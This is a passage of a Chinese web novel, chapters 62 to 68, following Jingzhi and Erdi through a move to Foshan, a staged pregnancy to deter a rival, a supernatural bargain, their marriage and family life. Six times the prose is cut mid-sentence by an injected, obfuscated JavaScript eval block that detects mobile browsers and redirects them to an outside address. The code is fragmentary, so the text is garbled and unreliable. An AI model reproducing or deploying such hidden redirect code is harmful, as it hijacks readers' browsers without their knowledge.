“妈呀!吓我一跳!奀妹你干嘛?” 奀妹睁着跟她爹极为相像,圆溜溜的大眼睛看着走到她跟前的静之,突然又红了脸。 她把手弯处的篮子往静之手里一递: “喏,我爹叫我拿过来的。” 静之几乎是睁圆了眼去看那满满一篮子的鸡蛋和鸭蛋,半晌,她才一脸不可置信地抬头看向奀妹: “真是你爹说的?” 奀妹眉头微蹙,却还是认真的点了点头说: “他说要去佛山了,大概率不会很快回来,叫别人养不现实,索性就给你们了,说给你们补补身子。” 这话说的,静之直接张大了嘴巴,僵在原地。 这话,确定是从那个抠门的华宝叔嘴里说出来的??? 她可记得上回奀妹说她爹给二娣补身体就送俩鸡蛋的事儿。 正当她人都麻了的时候,一道没好气还带着口音的男声突然出现在厨房门口。 “再不把嘴巴闭上,小心苍蝇飞进去,啧,俺是这么小气的人吗?真的是。” 华宝挺着大肚子走了进来,又往她怀里塞了叠起来的几大包东西。 她卡卡卡低下头看向怀里那东西,又僵着脖子抬头看向正在朝她翻白眼的华宝问:“华宝叔,这什么?” 华宝手一背,斜了她一眼,又从鼻间出了口气: “哼!上面几贴是给娘娘腔的药,下面贴张红纸的是给你的药,俺可不是那做事做一半的人。” 静之讪笑了一下,她把手里的东西轻轻往灶台上一放,然后狗腿的跑到华宝身后给他捶背,边捶边瞪大了眼睛说: “我华宝叔是那种人吗?你可是最~大方,最~侠义心肠,画画画得最~好的人了!来,屋里坐,我泡茶给你喝!” 说着,她扯着华宝的衣袖就要往屋里走,还没走几步,就被华宝拂了袖子。 只见他嘴角要翘不翘的,又突然咳了两声死死忍住,手又背到身后说: “俺忙着呢,还有一头猪要宰,就不进去了。” 边说着,他边朝空荡荡的堂屋里头张望了一下,疑惑地问: “娘娘腔不会晕到现在还没醒吧?!不至于啊。” 静之突然红了脸,她有些局促的捏着衣角,低着头说: “半夜就醒了,凌晨刚睡下,所以还没起。” 昨晚跟盯人精似的,盯了她一宿,能不困嘛。 华宝不着痕迹的扫了两眼她局促的神色,突然凑到她耳边问: “你俩……和好啦?” 这句话像是一个开关一样,静之突然直着脖子走向院里,一把扯住一只鸡脖子,剩下两只就在身后拖着,僵着身子也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086517|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝哪个方向说: “我,我去杀鸡。” 华宝乐了,他笑得有些揶揄,更多的是欣慰。 此时,他的眼里突然闪过一丝戏谑: “俺在这儿捏,你冲着墙说话干什么?” 静之扣着头,把手里的鸡掐得直翻白眼,她清了清嗓子: “俺,不是,我,我有点忙,华宝叔好走不送,我去,我去烧水!” 说罢,她步伐有些凌乱,却极其快速冲进厨房里。 华宝背着手,笑得一脸鸡贼,眼里却突然浮出一点水光,他深吸一口气,水光迅速收起,这才朝还在厨房门口往里张望的奀妹唤了一声: “看啥呢,跟俺回去,这几天都忙,没事儿别总往这儿跑。” 边说,他还边瞪了一眼从厨房门口出来的梁赞一眼。 他莫名觉得这小子……好像对他笑得过分的热情。 “笑什么笑?!还不去帮静之杀鸡?奀妹,我们走!” 想不明,他扯着脸蛋微红的奀妹,大步跨出院子。 “别看了,帮我抓住鸡翅膀!今天给你们做好吃的!” 静之把刀磨得唰唰响,每响一下,地上那三只鸡就缩一下脖子,最后竟直接把鸡头躲进胸腹处的鸡毛里瑟瑟发抖。 她瞅了两眼,挑了一只最肥的,眼疾手快一把揪住两个鸡脚把它倒提起来: “小鸡小鸡你别怕,你是阳家一道菜,转过年你再回来!” …… 转瞬鸡逝。 中午,被梁赞擦得锃亮的八仙桌上,一盘西红柿炒鸡蛋,一大海碗的红烧肉 ,加一大锅蘑菇炖鸡,给梁赞馋得直流口水。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第63章 戏妆 “呐,你看看我写的信怎么样?” 静之用手指轻轻戳了戳坐在对面、正在专心捣弄着药盅的二娣。 听到声音,二娣停下手上的动作,将药盅放置一旁,然后伸手接过静之递来的信纸。 然而,还没来得及仔细查看信中的内容,仅仅只是匆匆瞥了一眼那字迹,二娣便不由得愣住了,好一会儿都说不出话来。 “几天不写,你就退步这么大了?” 静之撇嘴,不满地指了指旁边的小窗口,娇嗔道: “哎呀,哪里是我退步,明明就是这船上摇晃得厉害嘛!” 说着,她还鼓起腮帮子,仿佛受了天大的委屈一般。 二娣看着静之可爱又略带倔强的模样,忍不住微微一笑,但还是故作严肃地说道: “前几天看你收拾东西忙,没让你练,到地方后,要接着写。” 静之一噎,气得伸长了手就要去够那张信纸,刚捏到个纸边边,瞬间又被他扽走。 “干什么?我还没看。” “你不是嫌我写得丑吗?” 静之侧过身子靠着船舱,将手中的毛笔一搁。 反正今天她今天不会再写第二遍了,在船上写信,眼晕得她想吐。 二娣一目十行,浏览着她写的内容,看到一处时,他突然抬起头说: “真不想我做花旦了?” 这封信,写得跟他的辞职信似的,看得他有些忍俊不禁。 说到这个,原本还有些晕乎的静之一下子来了精神,只见她迅速转过身,目光灼灼地望着他。 随后,她握住了他安放在小桌上的另一只手,神情无比认真地说道: “我那晚说的不是玩笑话,你女旦的扮相太好看了,我怕你被人欺负嘛。” 听到这番话,他先是微微一怔,随即嘴角上扬。 接着,他把她的手摁到他最近越发结实的胳膊上,柔声说: “以前我病着的时候,都没被人欺负过,现在,更不可能了。” 然而,话音刚落,静之便像是受到了什么刺激一般,猛地抽回了手,整个人有些郁郁寡欢。 她偷摸瞅了他两眼,沉默片刻后,终于忍不住开口: “你是不是想换个戏班子进?” 面对她突如其来的质问,二娣一时怔住了。 她好像……有些误会了呢。 他深深地叹息一声,然后缓缓地跪坐起身,小心翼翼地朝着她所在的位置挪了过去。 待靠近她之后,他轻柔地将下巴抵在了她那如丝般柔顺的发顶。 不出去的时候,她总不爱挽髻,总是任由头发披散着铺了一地。 还未等他做出任何解释,敏感的静之便察觉到了头顶上那沉甸甸的重量。 于是,她下意识地轻轻摇动了一下脑袋,试图摆脱那个让她感到有些不适的下巴。 哪知才刚挪了一下身子,就又被他搂了回去。 她索性一手向上抬起,捧着他的脸,把他有些坚硬的下巴搁到她右侧肩窝,放下以后却没有收手,而是轻轻摸索着他下巴的肉肉,又突然侧过头一脸惊奇地说: “你好像比以前胖了一些呢!” 二娣不以为然,他笑笑说: “身体好了,你给我吃的也都是好东西,当然会壮实些。” 他转过她的身子缓缓说道: “别说这个了,我刚刚的意思是,你不是喜欢看我扮花旦吗?我不唱戏,你可就真没得看了。” 因当花旦,他的皮肤本就保养的白白净净,最近也被她养出几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086518|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血色,看上去又多了几分俊俏。 静之瞧了两眼,突然红了脸,她支支吾吾,头也是越埋越低: “谁,谁喜欢看?我才不喜欢看!” 他轻笑了一下,低沉醇厚的笑声听得静之耳朵有些发痒,还没来得及挠上一把,有些发烫的耳垂就被他捏在手里轻轻揉着。 “真不喜欢看?那我之前答应给你的奖励……可就收回了哦?” 静之唰的一下猛抬起头,双手揪住他的领子,气得脸颊鼓鼓,瞪着他说: “不行!那可是我用几十张大字换的,手都写酸了,你,你……” 她越说越小声,最后又放开他,轻轻抚平他领口的褶皱,细若蚊声说: “你说好要给我看的。” 说罢,竟是把头直接埋进他的胸口,像是羞极了似的,她又捏过他披在肩上的外套两侧围住自己的头。 二娣轻轻拍着她的肩膀,尝试性问一句: “现在有时间,要不……现在画给你看?” 怀里的人抖了一下,她脸颊滚烫的程度,就算隔着一层薄薄的单衣,他也能轻松感受得到,他又轻抚了一下她肩头: “不起来?不起来我不画了哦?” 话音未落,静之瞬间抬头,又往后蹭了蹭,顶着张大红脸,视线却是紧紧盯着窗外,仿佛那儿有什么吸引人的东西: “你,你画,我要看。” 二娣捏一把她温热的脸颊,宠溺地说: “好好好,这就画给你看。” ……(娣化妆中)…… 静之安静地坐在那里,双手轻轻 地捧着自己白皙的脸颊,那双灵动的大眼睛紧紧跟随着他手中那支细细的笔尖移动着。 这章没有结束,请点击下一页继续阅读! 第64章 找房子 抵达佛山第一天,已是夜晚。 静之压低声音,用气声凑到梁赞耳边说:“诶,你家通财在干嘛?” 梁赞没有回答。 他一眼就看到大堂正中间,他祖爷爷牌位旁边,那个小一号的崭新牌位。 此时他眼里闪过一丝忧虑。 通财那个臭小子,竟然告诉他爹娘他死了?!竟还给他立了牌位! 他是他们梁家九代单传,也不知道这半年多来,他爹娘有没有伤心欲绝? 看着通财给他上香的熟练动作,他不禁把两只拳头捏的嘎嘣响。 想捶人。 就在他想过去揍他一顿时,通财突然捏着个黄色的小球在一盆水里晃荡个不停,不过几秒,令人震惊的事情出现了! 那水像是被泼了墨一般,瞬间变得漆黑,水面渐渐静止,映出通财那张面带惊讶的老脸。 为什么惊讶? 他自己也料想不到吗? 静之不禁感到好奇。 眼瞅着梁赞已经悄悄靠近,她赶紧也扯着二娣蹑手蹑脚的跟在后面。 待走到离通财两步远,就听到他跪在那盆水面前碎碎念。 “少爷,少爷,少爷?” 跟叫魂似的,梁赞不禁暗暗啧了一声。 他倒是要看看,他这个兄弟要搞什么鬼。 这般想着,他把头伸了过去。 静之捂着嘴偷笑一下,不到一秒,她憋住笑意,一脸正色,扯着面色淡淡的二娣一同凑了过去。 霎时,水面上前后出现了他们三个人的倒影。 在昏暗的烛火跳动下,那水里的面容或明或暗,透露出些许诡异。 通财像是看到什么了不得的事情,顿时惊得后仰一下身子,差一点儿就坐到梁赞脚上,他悄悄往旁边挪了一步,似笑非笑回答: “什么事啊?” 通财哆嗦着嘴皮子,揉了揉眼,见水里还是三个人,他才抖着声音说: “我,我只召唤了少爷的鬼魂,你俩来凑什么热闹?” 三人眼里不约而同浮上一抹了然与笑意,静之故意虚着嗓子发出飘渺阴森的声音,甚至还翻了一点眼白出来: “通财啊~我们仨死在一起,你怎么只立了你家少爷的牌位,你再这样,我和二娣晚上会来找你哦~~~” 通财这回真的吓得一屁股坐到地上,两股战战,随即又立刻跪坐起来,对着水盆不断磕头,边磕边求饶: “姑奶奶,我求求你了,放过我吧,我找我家少爷真有事儿,明天,明天我一定给您和娣哥烧多多的纸钱,再给你俩立牌位!” 这时,二娣捏了捏静之的手指,又暗暗瞪了她一眼。 说什么死,他不爱听。 静之面色讪讪,随即又绷住表情,一脸严肃接着说: “那就好,那我们两个就走了哦~明天晚上,再来找你玩~~” 还没说完,静之被二娣一把扯到立柱后头,凑到她耳边轻轻说着: “再吓他,他就要尿裤子了。” 静之无声嬉笑,做了个猪鼻子,又是伸舌头,又是掰眼皮,做尽各种搞笑鬼脸,给二娣逗的,差点憋不住笑出声来。 他屏住呼吸死死憋住,突然一把将她的脸按进怀里,悄悄在她耳边说: “你真可爱。” 二娣性格别扭极了,他鲜少这么直白的夸她,他这么一夸,静之倒是安静下来了,一双略微冰凉的小手慢慢地圈上他的腰,耳朵贴在他的胸口,无声傻笑中。 二娣垂眸看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086519|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一眼,也跟着笑得温柔,又默默搂住她的肩膀轻轻拍着。 那边岁月静好,梁赞这边可就无语多了。 原来,他爹以为梁家断了根,竟是要替他娶个新娘。 最为离谱的是,他们要让通财替他洞房,这话把他给气的,磨得他后槽牙直冒火星子。 不知为何,他脑子里突然窜出来奀妹那张圆润可爱的肉肉脸。 一想到这样的姑娘要被通财糟蹋,他气得浓眉直竖,于是严声厉斥: “不行!我要自己洞房!” 说着,他脸上无端飞起两团红云。 通财却是愁眉苦脸: “少爷,不是我要占你便宜,你总不能从下面上来洞房吧?” 梁赞冷笑一声: “我自有办法。” 通财一愣,呐呐道: “什么办法?” 梁赞朝他勾了勾手指,水面上的倒影,同样也朝通财勾了勾: “你附耳过来。” 通财一向听他少爷的话,叫过去就过去。 怎料,头刚伸到水盆上方,梁赞猛地把他的头一把按进水里: “易通财!让你有个心理准备,看清楚了,我们还没死!” 说罢,他松开手,环着胸,靠在柱子上,笑得肆意。 静之叹一声,果然回到家了就是不一样啊,少爷就是少爷。 通财突然回头,当静之看清他的全貌时,突然噗呲一声笑了出来: “哈哈哈哈哈,二娣,我只能看到他的牙!” 二娣淡淡瞄了一眼一脸黑的通财,眼神又快速回到他怀里那个笑得花枝乱颤的女子身上。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第65章 叫你急 正当静之高高兴兴端着两大碗叉烧快步走回梁府的时候,令人头疼的事情发生了。 “你说什么??谁跟谁打起来了?” “娣哥跟倪飞啊。” “倪飞?!他怎么会在这儿???” “在哪儿?” “书,书房。” 静之心急如焚,把两碗叉烧往不知为何头低低的通财手里一塞,转身就想走。 突然,她又转过身夺过其中一碗,稳着手拔腿就跑。 边跑着,脑子里又瞬间浮出倪飞的强硬手段,她咬咬牙,脚步一拐,先去了一趟后厢房。 … 好不容易跑到书房门口,她深呼吸两口气,稳下怦怦直跳的心脏。 耳边却突然传来里面拳脚碰撞的声音,她心虽然都提到嗓子眼儿了,却清了清嗓子,假装若无其事推门而入: “相公,我买了你最爱吃的叉烧,出来吃饭了。” “……” “……” 屋内瞬间一片寂静。 首先映入静之眼前的,是躺在地上的两个随从,他俩正扶着尾椎一脸警惕看着她。 倪飞则是放开与二娣纠缠着的腿脚,后撤两步,然后快速朝她走过来。 走到一半,他愣住了。 “你,你怀孕了?” 话音刚落,静之捂着嘴立刻干呕一声,然后一手撑着后腰,一手捧着叉烧,满脸委屈走向桌案后面的二娣。 她将叉烧放下,然后拿起二娣僵硬到不行的手放在自己隆起的肚皮上,又捂着嘴干呕了几声,才腾出嘴说话: “相公,肚子里的孩子又闹我了,我想吐~” 边说着,她背对着倪飞暗暗朝怔住了的二娣使了个眼色。 二娣瞬间合上微微掉的下巴,脸上表情变得柔和,又生出一丝担忧。 表情变化之迅速,微表情之真实,静之每次看到,都忍不住得感叹一句—— '' 不愧是你,我的大花旦。'' 大花旦本旦此时彻底融入了角色。 只见他轻柔地扶着静之的后腰,小心翼翼地让她坐在太师椅上,又抚了抚她圆滚滚的肚皮,这才对着门口石化了许久的倪飞一拱手,淡淡地说: “倪公子,你也看到了,我夫人近来身体不便,今天就不与你切磋了,请回吧。” 倪飞仿若未闻,他死死盯着她的肚子,眼神又渐渐侧移,盯着他俩又交握上的双手,呐呐道: “夫人?你们……成亲了?” 静之挺了挺肚大如罗的腹部说: “这不是明摆着的吗?” 倪飞仿佛被这个事实震惊到了,不由后退几步,哐的一声撞到门上,此时他的脸色黑得惊人,眼里尽是失意和失恋的痛苦。 他深深的看了静之一眼,什么话也没有,一挥袖子,快步走了出去,最后几步竟是用跑的,那背影无端生出几分萧瑟。 随从见主子走了,也从地上爬起,灰溜溜跟了上去。 见他们都走光了,静之这才大松了一口气,把紧张到微微湿润的掌心往身上擦了擦。 二娣快步走到门口,默默朝外张望一下,见人真的走了,这才缓缓关上书房门。 “别怕,我这样说,他应该不会再来了。” 听到声音,二娣回头一看,不禁有些无语。 只见静之正撩起上衣下摆,把“孩子”掏出来甩在椅子上,那分明就是他们房间的枕头。 仿佛被她出格的举动惊到,他缓缓捏了下眉心,却突然轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086520|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑一声: “你可真是……” 静之抚平被撑得有些膨胀的前襟,才抬起头看他,不以为然地说: “我怎么,我这招叫一劳永逸,他上次还叫人来暗杀你,我不得整整他。而且,他应该也不会要一个有夫之妇吧,还是个揣崽——你干嘛!” 话未说完,她就被一个旋转,摁坐在他腿上。 二娣轻轻抚上她平坦的小腹,一脸笃定的说: “会有真的的。” 静之覆上那只手,并未害羞,反而有些犹豫: “你就不怕……我生出小猫崽啊?” 二娣还真没想到那儿,他虚着眼神思考了一会儿,随即又摇了摇头,轻声说道: “小猫崽,我也喜欢。” 静之瞬间红温,她憋红了脸东张西望,慌乱之中余光瞥到桌上的叉烧,于是赶紧端了过来,掀开上面的油纸,朝他秀了秀,强行转移话题: “别说那个了,喏,同记叉烧,肥瘦相间,你最爱吃的,之前只给你吃了两块,你都大半年没吃了,把你馋坏了吧。你现在身体好了,这碗都给你!” 二娣只是笑笑,那两块叉烧,当真是可惜了,就这么一把火给烧没了。 他默默接过碗,挑起一块,万分珍惜品尝着,眼神却又不由自主往她身上瞥。 见他吃上了,静之心满意足的笑了笑,这才回头看桌案上她刚刚匆匆一瞥的那幅字。 “这么快就写好了?啧,你的字比我写的好看太多了…… 杏~济~堂,一听就是杏林之家,好!” 二娣被她夸得一阵脸热,干脆捻起一块叉烧塞进她喋喋不休的嘴里 。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第66章 他吓坏了 仿佛灵魂被拉扯着,一阵晕眩后,静之来到一片虚空之中。 入目皆是一片黑色,伸手不见五指的黑,黑得静之都以为自己失明了。 此时,她却没心情管这个。 她现在满怀心思都是不久前马上就要跟他洞房的二娣。 那臭小子,平时别别扭扭的,一天说话就知道拐弯抹角,正经时候倒是直白。 然后就直了那么一次,她就想打人。 但是,此刻她又忍不住忧心,她知道他对她的感情,她刚刚看到自己分解的那一刻,自己都吓一跳,更别说他了。 而且,还是在那种时刻… 正当她眉毛拧得都快打结的时候,一道庄严的声音骤然响起,似在天边,似在耳畔: “你要留下来,还是前往他的下一世?” 静之警惕地在原地转圈,眼睛不断四处搜寻,然而,什么都看不见。 她竖起耳朵倾听,那道声音消失后,余下的只有她有些慌乱的心跳和呼吸声。 不是人? 那是谁在说话? 就在这时,那道声音又响起: “时间有限,请你尽快做出选择。” “催啥催,我有点不明白你的意思。” “梁二娣已经脱离了他早亡的命运,你当下可以选择直接离开,或者继续留在这个世界,直至他死亡。” 天下没有免费的午餐。 静之一直深信这句话,此时她内心充满了警惕,于是思索几许,才缓缓问道: “离开,或者留下,需要什么条件吗?” 那道声音久久未曾响起,就在静之以为那玩意儿消失的时候,它又说话了。 “离开,顺应规则,无须任何条件;留下,逆向而行,镜灵会吸收你七分之一的灵力。” 话音刚落,静之就急切地说: “留留留,吸吸吸,赶紧吸!” 真是废话连篇,七分之一的灵力吸就吸,二娣虽然身体好起来了,但是性格别扭啊,她怕她不快点回去的话,他保不齐会拿把刀结束自己。 那道声音停顿了一下,一直平静无波的声线里,此时竟带着一丝试探和不可置信: “林风后面还有几多世,你确定第一世就要浪费七分之一修为留下吗?” 静之也就思索了两秒,便重重的点了点头,又缓缓闭上了眼睛: “来吧,绝不后悔。” 二娣,在她心里一直都是小病秧子一个。 他要是出了什么事,她会心疼死的。 那道声音也就静了几秒,见她意已绝,便伸出一道白光,快速插入她的脊梁。 “啊!!” 被吸收修为的滋味并不好受,静之只觉得灵力从丹田一路被逼向经脉,然后直奔背后的脊梁处。 黑暗中,她并不知道,此时她耳朵跟尾巴在剧痛之下,又现出来了。 她的第七条尾巴随着那道白光变得更盛,而缓缓缩短。 随着身体的无力感和经脉的强行运转灵力的胀痛感袭来,她的额头已经布满一层密密的虚汗,二娣为她轻扫的腮红也掩盖不住她此时脸色的苍白。 不知过了多久,那道粗了一小圈的白光“啵”的一声,从她的脊梁处拔了出来。 静之腿脚一软,便跪趴在地,她心有余悸,赶紧扬过身后的尾巴摸索着,见还剩下六条,她这才大大松了口气。 再少一条,她可就维持不住人形了。 “好了,你回去吧。” 只见前方一道刺眼的光线飞速接近,静之已然习惯刚刚的黑暗,乍一看这光,她不禁抬手围住眼睛。 当光线碰到她的那一刻,静之只感觉灵魂深处又是一阵拉扯— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086521|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “叮铃。” 好熟悉。 是她脖子上的铃铛。 “呜呜呜。” 好……熟悉。 是她妖娆又爱哭的臭弟弟。 一阵失重感突然袭来。 “砰”的一声响。 静之只觉得自己的尾椎骨疼痛欲裂。 刚想伸手揉揉,一具温热的身躯突然覆盖住她,冰凉且不住颤抖的一双手把她连人带手死死箍在怀里。 那人,却是突然没有了声音。 “二娣?” 身上的人抖了一下,箍得更紧了。 “你刚刚哭了?” 二娣微微扭动着脖子,把眼泪擦在软枕上,压了许久,才把颤抖恐慌的哭腔压下去。 他哑着嗓子急急说道: “不说了,我再也不说了……你别走……求你。” 静之挣扎着伸出一只胳膊,轻轻地拍着他的背安抚,拍了许久,等到他不断颤抖的身体完全平静下来,才温柔地说: “再也不走了,我会一直陪着你。” 她轻轻啄了一下他的耳根,又卷着他脑后的小辫子调皮的扽了扽,这才缓缓地说: “梁二娣……我也爱你。” 话音刚落,他突如其来发出一声哽咽,然后又突然失音。 静之有些无语。 她叹了口气,侧头啃一口他的红耳垂,悄悄的说: “刚刚……还没开始呢,你要接着来吗?” 他忍不住抽噎了一下,翻身下来,背过身子,拿被子紧紧裹住自己。 “……真吓坏啦?”她有些担心。 “……我想睡了。” 二娣感受着那被吓到毫无动静的三弟,心里一阵挫败和尴尬。 成亲当晚,他们竟是没洞成房。 第67章 甜蜜后续 一连几天,二娣盯她盯得死紧,吃饭跟,睡觉跟,洗澡跟,连上厕所都得搁外头给她递纸。 “扣扣扣。” “小之,你还在吗?” 望着微微颤抖的竹编门底下,露出的那双大脚,静之有些无语。 此时此刻,她风吹屁屁凉。 叹了口气,忍不住捏了鼻子对外头说: “我才刚进来还不到一分钟……这里虽然被你整理的很干净,但是也有点味道的,你回去屋里等我呗?” 一分钟是多久? 他只知道,那晚她消失,就用了不到两息时间。 那双脚不仅没有后退,反而又往前蹭了一点。 瞧着他越蹭越近,静之心中警铃大作,那股尿意瞬间缩了回去,她鼻子也不捏了,双手死死顶住门急急说道: “干什么干什么?你敢推进来试试看!” 脚步终于停止。 两秒后,从门缝底下伸进来几张草纸。 “给你,快出来。” 静之额头青筋直跳,死死咬着后槽牙挤出一句话: “我还没开始上呢!而且,里头有纸!” 底下捏住草纸的手僵了一瞬,然后缓缓缩了回去。 “那你快点。” “……” 一阵窸窸窣窣的声音之后,突然,门从里头打开。 黑着脸的静之扯着一脸无辜的二娣,气势汹汹朝房中走去。 “小之,回去干什么?我们该去医馆了。” 回答他的,是不断滑落在地的衣服,和贴上来的娇柔女体。 她一把把他推倒在床上,凑近他耳边说: “今天不管你愿不愿意,都得跟我洞房!” “……我先走了。” 房内突然传来她一声悠悠的话语: “小猫崽……不想要了?” 屋子里静默了几秒,突然响起一阵咽口水的声音。 “……要。” “那就给我回来。” “……好——唔!” (略) 一开始,静之是山大王,后来二娣食髓知味,反客为主,今天的医馆,终是歇业了一整天。 房内,静之像条死狗一样趴在床沿,心里止不住的后悔,并恨不得把早上的自己拖出来打一顿。 撩他干什么,二十五岁,正是年轻力壮的时候,这回好了吧,站都站不起来了吧。 正当她唉声叹气的时候,一只火热的大手搭在她腰上,身后传来他十分笃定的声音: “小之,这回应该会有的。” “……嘁,臭不要脸。” 此时的静之万万没想到,二娣一发入魂,她还真就有了。 …… 两月以后。 “呕~” 静之扶着盂盆吐得天昏地暗,过了好一会儿,她才缓过气来,漱了口,擦了把脸,这才拖着有些发软的腿脚缓缓走出房门,朝不远处的医馆走去。 还未进入医馆,就隐隐约约听到二娣低沉的说话声: “记得伤口别碰到水,三天后过来找我换药啊。” “好的,梁大夫。” 正堂只有梁赞一人,此时他正半蹲在药柜旁边抓药,见他干活干得专心,静之也没敢打断他,而是放轻脚步,来到柜台后的侧室门口。 她撩起隔断布帘悄悄朝里看了一眼,原是二娣正给一穿着短打的中年男子上药。 “相公,忙着呢?” 二娣闻声抬头,紧蹙的眉心瞬间抹平,他轻声说道: “小之,你先去楼上坐一会儿,我马上好。” “师娘?”梁赞撅着屁股一回头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086522|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些惊讶地看着她,“你走路怎么没声音的,吓我一大跳!” 静之朝他扬扬手,“你干你的,不用管我。” 说罢,她又朝里头的二娣说: “包扎完到楼上找我,我有事和你说。” 望着她有些苍白的脸色,二娣心里一个咯噔,朝她点了点头,手中却加快了上药的速度…… 不到五分钟。 “吱呀。” 二娣刚一进来,就看到静之站在窗前吹风。 他眉头一皱,快步走了过去,把花格窗一一关上,边絮絮叨叨着: “你脸色不太好,还是不要吹风了,小心着凉。” 就在这时,身后的静之冷不丁说了一句: “我早上吐了两次。” 他猛的一回头,“什么?!” “坐下,我给你把把脉。” …… 过了一会儿。 她动了动指尖,“怎么样?你怎么不说话?” 二娣紧抿着唇,抖着手又抓起她另一手号脉。 “我吃坏肚子了?可是我没拉肚子,就是有些恶——你这副表情做什么?” 眼前的二娣不知什么时候,笑得眼睛都眯成一条缝了。 下一瞬,她就被他打横抱起,小心翼翼的放到窗边榻上。 他坐在榻边,轻柔挽着她的手掌,喜得嘴都合不拢了: “小之,我们有小猫崽了。” 静之愣了得有十秒,才反应过来。 “啊?” 她还 以为是她贪凉,吃了三碗糖水加半个大西瓜,给吃坏肚子了呢。 于是—— “师父,药捡好了,七日份,我给黄叔送去。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第68章 戏起戏落 似水流年,转眼已是七年后。 他们院子里的百年老树却更加繁茂。 此时,树下传来一阵一阵吱呀的声音。 静之边晃悠着秋千,边跟旁边的小屁孩讲话: “我说小璧啊。” 还没说啥呢,那小孩就转头撅着嘴说: “师奶,别叫我小璧,我爹给我取字了,叫瑶石。” 静之有些无语: “那不还是石头吗?” 她又撇了撇嘴,捏了两把瑶石的肉肉脸说: “别叫我师奶,叫阿姨啊!” 瑶石蹙眉,跟个小老头似的摇头晃脑的说: “我娘说了,不能乱了辈分。” 静之嘁了一声,又一脸贼笑的凑近瑶石耳旁问: “你娘又怀上啦?” 说到这个,瑶石瞬间垂头丧气,小声嘀咕: “我爹说,他也想要一个像小瑶姐姐一样的闺女,可是我都已经有两个弟弟了,不知道他怎么想的。” 他突然又抬头,一脸期待的看着静之,糯糯的问: “之阿姨,小瑶姐姐呢?我来找她玩。” “她……” 话还没说出口,院子外头就传来她女儿兴高采烈的声音: “璧弟弟!我回来啦!” 只见一穿着嫩黄色裙子,扎俩小辫,粉雕玉琢的小姑娘从归来的二娣身后窜了出来。 刚要往前冲,一个与她有七分相似,穿着深蓝色短打,精神抖擞的小男孩死死揪住她的后领,往身后一甩。 然后叉着腰一脸不悦的看着瑶石: “你回去玩你家的两个弟弟,天天找我妹妹干什么?” 静之扶额长叹,这场景一天得发生好几次,有时候是小璧,有时候是他两个还流着鼻涕,穿开裆裤的弟弟,反正每次来,每次都会被小霄赶出去。 